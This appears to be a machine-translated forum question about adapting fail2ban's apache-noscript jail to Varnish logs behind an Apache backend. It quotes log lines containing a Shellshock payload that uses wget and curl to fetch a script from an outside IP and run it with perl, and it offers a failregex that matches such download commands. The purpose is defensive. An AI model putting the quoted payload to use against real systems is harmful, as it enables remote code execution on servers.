Regex fail2banvarish等效于apachenoscript

Regex fail2banvarish等效于apachenoscript,regex,apache,varnish,noscript,fail2ban,Regex,Apache,Varnish,Noscript,Fail2ban,目前有一台服务器有两个IP,一个内部和一个外部,外部带有varnish,内部带有apache后端,fail2ban运行与默认情况基本相同 最近,该网站出现503个错误,结果是fail2ban禁止varnish与apache后端vi进行对话,这是apache noscript规则。我已经为ip地址添加了一个排除,这样就不会再次被禁止,但理想情况下,如果客户端在将来被禁止,我会更喜欢它 从apache日志中 SERVER_IP - - [14/Jan/2015:16:52:57 +0000] "GE

目前有一台服务器有两个IP,一个内部和一个外部,外部带有varnish,内部带有apache后端,fail2ban运行与默认情况基本相同

最近,该网站出现503个错误,结果是fail2ban禁止varnish与apache后端vi进行对话,这是apache noscript规则。我已经为ip地址添加了一个排除,这样就不会再次被禁止,但理想情况下,如果客户端在将来被禁止,我会更喜欢它

从apache日志中

SERVER_IP - - [14/Jan/2015:16:52:57 +0000] "GET /phppath/php HTTP/1.1" 404 438 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS! #";system(\"wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*\");'"
从清漆原木上

CLIENT_IP - - [14/Jan/2015:16:52:57 +0000] "GET http://SERVER_IP/phppath/php HTTP/1.1" 404 226 "-" "() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://69.64.75.181/img.bin -O /tmp/s.pl;curl -O /tmp/s.pl http://69.64.75.181/img.bin;perl /tmp/s.pl;rm -rf s.pl*");'"
是否可以复制我的apache noscript定义来使用varnishlogs,即:

[apache-noscript]

enabled  = true
port     = http,https
filter   = apache-noscript
logpath  = /var/log/apache*/*error.log
maxretry = 2 
成为

[varnish-noscript]

enabled  = true
port     = http,https
filter   = apache-noscript
logpath  = /var/log/varnish/varnishncsa.log
maxretry = 2
我注意到ApacheNo脚本过滤器具有以下failregex

failregex = ^%(_apache_error_client)s (File does not exist|script not found or unable to stat): /\S*(\.php|\.asp|\.exe|\.pl)\s*$
            ^%(_apache_error_client)s script '/\S*(\.php|\.asp|\.exe|\.pl)\S*' not found or unable to stat\s*$
我想主要的问题是,对于上面输出中的varnishlog,这是否仍然有效,如果不是,我需要什么failregex

非常感谢


[编辑]结果是noscript执行了禁止操作,但并非针对上述日志条目,这是巧合。现在为上面的日志条目制定一个fail2ban正则表达式。

好的,我创建了一个新的监狱,使用以下规则来捕获上面的内容:

failregex = ^<HOST>.*\[[^]]+\].*\".+\"\s[1-9][0-9][0-9]\s[0-9]+\s\".*\"\s\".*(\/tmp|\/usr\/bin|curl\s+|\s*wget\s+|\.bin\s+).*\"$
请随时对规则提出改进建议,以捕获上述日志行

fail regex可以在apache访问日志和varnish csa日志上工作